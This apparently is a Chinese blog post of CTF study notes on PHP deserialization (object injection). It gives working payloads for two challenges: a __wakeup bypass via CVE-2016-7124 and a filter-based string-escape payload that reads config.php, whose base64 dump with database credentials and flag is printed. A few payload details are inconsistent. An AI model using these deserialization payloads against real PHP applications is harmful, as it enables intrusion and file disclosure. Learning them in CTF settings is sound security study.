php 反序列化漏洞-CTF 学习小结

  1. PHP反序列化漏洞也叫PHP对象注入,是一个非常常见的漏洞,这种类型的漏洞虽然有些难以利用,但一旦利用成功就会造成非常危险的后果。漏洞的形成的根本原因是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、getshell等一系列不可控的后果。反序列化漏洞并不是PHP特有,也存在于Java、Python等语言之中,但其原理基本相通
  2. 一般程序在创建的时候,都会重写析构函数和构造函数,反序列化就是利用这些重写的函数。

反序列化用的主要函数

serialize() 当在php中创建了一个对象后,可以通过serialize()把这个对象转变成一个字符串,保存对象的值方便之后的传递与使用。
unserialize() serialize() 对应的,unserialize()可以从已存储的表示中创建PHP的值,单就本次所关心的环境而言,可以从序列化后的结果中恢复对象(object)

反序列化——魔术方法

魔术方法 注释
__construct 具有构造函数的类会在每次创建新对象时先调用此方法
__destruct 析构函数,析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。
__get 读取不可访问属性的值,__get会被自动调用
__call 在对象中调用一个不可访问方法时,__call会自动被调用
__invoke 当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用
__wakeup unserialize() 会检查是否存在一个 __wakeup()方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。

CTF中反序列化的题型

  1. 绕过_wakeup达到反序列化注入的目的

  2. 题目有filter函数,过滤字符从而达到逃逸

    1. 过滤后字符增多
    2. 过滤后字符减少
      1. 键逃逸
      2. 值逃逸
  3. 构造pop链

    例题根据以上顺序排列

CTF例题实战

  1. [极客大挑战2019 ]PHP

找到提示有备份文件www.zip

  • // class.php
    
    class Name{
        private $username = 'nonono';
        private $password = 'yesyes';
    
        public function __construct($username,$password){
            $this->username = $username;
            $this->password = $password;
        }
    
        function __wakeup(){
            $this->username = 'guest';
        }
    
        function __destruct(){
            if ($this->password != 100) {
                echo "</br>NO!!!hacker!!!</br>";
                echo "You name is: ";
                echo $this->username;echo "</br>";
                echo "You password is: ";
                echo $this->password;echo "</br>";
                die();
            }
            if ($this->username === 'admin') {
                global $flag;
                echo $flag;
            }else{
                echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
                die();
    
                
            }
        }
    }
    ?>
    
    //index.php
    <?php
        include 'class.php';
        $select = $_GET['select'];
        $res=unserialize(@$select);
        ?>
    
  • unserialize调用完之后会立刻执行__wakeup()

  • __wakeup()函数中会给username属性赋值从而导致无法获得flag

  • 这里只要绕过__wakeup(),username=admin,password=100即可

    <?php
    class Name{
        private $username = 'nonono';
        private $password = 'yesyes';
        
        public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    	}
    }
    $a=new Name('admin',100);
    echo serialize($a);
    

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:123;}

如何绕过__wakeup

当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)

payload:

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:123;}

tips:使用代码替换Name属性数目 手动增加替换容易出错 前车之鉴(狗头)

<?php
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';
    
    public function __construct($username,$password){
    $this->username = 'admin';
    $this->password = 100;
	}
}
$a=new Name('1','2');

$res= serialize($a);
//echo O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}'
$res=str_replace(':2:',':3:',$res);
echo urlencode($res);
//O%3A4%3A"Name"%3A3%3A{s%3A14%3A"%00Name%00username"%3Bs%3A5%3A"admin"%3Bs%3A14%3A"%00Name%00password"%3Bi%3A100%3B}

  1. [0CTF 2016]piapiapia

    • 通过参数为数组绕过 strlen()
    • 使用代码中的filter函数 导致字符减少造成 实现字符逃逸
    • 代码审计
    1. 通过dirsearch.py 扫描目录 得到www.zip

    2. //class.php
      public function filter($string) {
      		$escape = array('\'', '\\\\');
      		$escape = '/' . implode('|', $escape) . '/';
      		$string = preg_replace($escape, '_', $string);
      
      		$safe = array('select', 'insert', 'update', 'delete', 'where');
      		$safe = '/' . implode('|', $safe) . '/i';
      		return preg_replace($safe, 'hacker', $string);
      	}
      

      class.php中的filter函数, 会过滤 select,insert,update,delete,where

      变成hacker 其中使用where->hacker是 5个字符变成6个字符 满足字符串增多导致的

      后面有一个strlen()函数限制字符串的长度

      strlen()函数的绕过

      5.3.0 Prior versions treated arrays as the string Array, thus returning a string length of 5 and emitting an E_NOTICE level error.
      翻译 之后的版本以数组作为参数会导致函数返回值为5

      php是一个弱类型语言, md5(),sha1(),strcmp(),strlen()这些函数都可以通过特性绕过

      config.php中有flag 我们最终要读取的文件

      只要把photo参数的数据通过反序列化字符逃逸改成config.php这样就能得到源码从而得到flag

      payload:

      <?php
      class profile{
          public $username ='williamzou';
          public $phone=18079828857;
          public $email='123@qq.com';
          public $nickname=array("Volvo");
          public $photo='config.php';
      }
      $a=new profile();
      $res= serialize($a);
      echo $res;
      //O:7:"profile":5:{s:8:"username";s:10:"williamzou";s:5:"phone";d:18079828857;s:5:"email";s:10:"123@qq.com";s:8:"nickname";a:1:{i:0;s:5:"Volvo";}s:5:"photo";s:10:"config.php";}
      

";}s:5:"photo";s:10:"config.php";}此题关键是让这几个字符逃逸出来

where能让一个字符逃逸出来 我们一共需要逃逸34个字符 则需要34个where

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

得到config.php的base64编码后的数据

PD9waHAKJGNvbmZpZ1snaG9zdG5hbWUnXSA9ICcxMjcuMC4wLjEnOwokY29uZmlnWyd1c2VybmFtZSddID0gJ3Jvb3QnOwokY29uZmlnWydwYXNzd29yZCddID0gJ3F3ZXJ0eXVpb3AnOwokY29uZmlnWydkYXRhYmFzZSddID0gJ2NoYWxsZW5nZXMnOwokZmxhZyA9ICdmbGFnezdhYWRhMTc3LWFhOWEtNGI5My05YjcyLWU3MzQ0ZDZmMDg2OH0nOwo/Pgo=

解密得到flag

posted @ 2021-04-20 22:30  FireGhost  阅读(1055)  评论(1编辑  收藏  举报